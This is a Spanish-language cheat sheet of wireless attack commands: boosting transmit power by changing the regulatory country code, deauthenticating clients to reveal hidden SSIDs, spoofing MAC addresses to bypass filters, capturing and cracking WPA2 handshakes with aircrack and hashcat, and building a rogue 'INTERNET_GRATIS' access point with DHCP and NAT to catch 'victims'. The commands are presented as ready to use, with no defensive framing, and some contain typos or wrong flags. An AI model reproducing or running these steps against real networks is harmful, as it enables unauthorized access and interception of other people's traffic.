1. TX Power (en dBm)
- Configurar CC (Country Code)
- Configurar el nivel de potencia


ifconfig wlan0
iw reg set CL
iwconfig

iwconfig wlan0 txpower 27
iwconfig

iwconfig wlan0 up

















2. Descubrir SSID ocultos:

a) Iniciar monitoreo:
#airmong-ng start wlan0

b) Descubrir los AP
#airodump-ng wlan0mon 
#airodump-ng -c CANAL -bssid MAC_DEL_AP wlan0mon

Esperar que se asocien los clientes  o lanzar un ataque de-auth:

#aireplay-ng -0 2 -a MAC_DEL_AP(BSSID) wlan0mon

















3. Bypass filtro MAC:

a) Iniciar monitoreo:
airmong-ng start wlan0

b) Descubrir los AP
airodump-ng wlan0mon 

c) Usar la MAC del usuario:

(asociarse con un AP: 
iwconfig wlan0 essid NOMBRE-DE-LA-RED channel 1
iwconfig

macchanger -m xx:xx:xx:xx:xx:xx wlan0 (si está en modo monitor: airmon-ng stop wlan0

4. Romper claves WPA2

airmon-ng
airodump-ng
aireplay-ng
aircrack


a) Airodump y guardar la captura de datos
airodump-ng -w /root/clavewifi -c 1 --bssid xx:xx:xx:xx:xx:xx (mac del AP) wlan0mon


b) Enviar un ataque Deauth 
aireplay-ng -0 0 -a MAC_DEL_AP(BSSID) wlan0mon
c) aircrack /root/clavewifi.cap -w /usr/lib/wordlist/passwords.lst 

PS: Se puede usar hashcat en vez de Aircrack




5. AP Falso

airmon-ng
airbase-ng
isc-dhcp-server
nat (iptables) y la tarjeta eth0 conectada a internet


a) Instalar un servidor DHCP:
apt-get install isc-dhcp-server -y
mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.backup
vim /etc/dhcp/dhcpd.conf
----------------------

default-lease-time 600;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

-----------------------
b) poner la tarjeta en modo monitor (detenerla antes) 
airmon-ng start wlan0

c) iniciar un AP falso:
airbase-ng --essid "INTERNET_GRATIS" -c 6 wlan0mon

d) Configurar la interfaz at0 (AP falso) y agregar una ruta local a la red
ifconfig at0 up
ifconfig at0 192.168.2.1/24
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

e) Iniciar el servidor DHCP falso

touch /var/lib/dhcp/dhcpd.leases
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcp-server/dhcpd.pid at0


f) "NATEAR" el tráfico (asumiendo que la interfaz eth0 está conectada)
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

g) Esperar que las víctimas se conecten


6) Ataques de AP Falso dirigido

a) Revisar cuales son los SSID preferidos del cliente usando airodump-ng
b) Levantar un AP falso con el SSID de ese cliente







Convertir captura de hashes .CAP en CAPHEX para crackear con HASHCAT en MacOSX en vez de AIRCRACK:



1) Descargar hashcat-utils
2) Compilar el binario "cap2hccapx" (cd src/;gcc cap2hccapx.c -o cap2hccapx.bin)
3) Convertir el .cap de Airodump a hccapx:

cd src/
chmod +x cap2hccapx.bin
./cap2hccapx.bin archivo.cap archivo.hcx

4) Crackear con hashcat. 2500 es WPA

hashcat -m 2500 -w wordlist/rockyou.txt archivo.hcx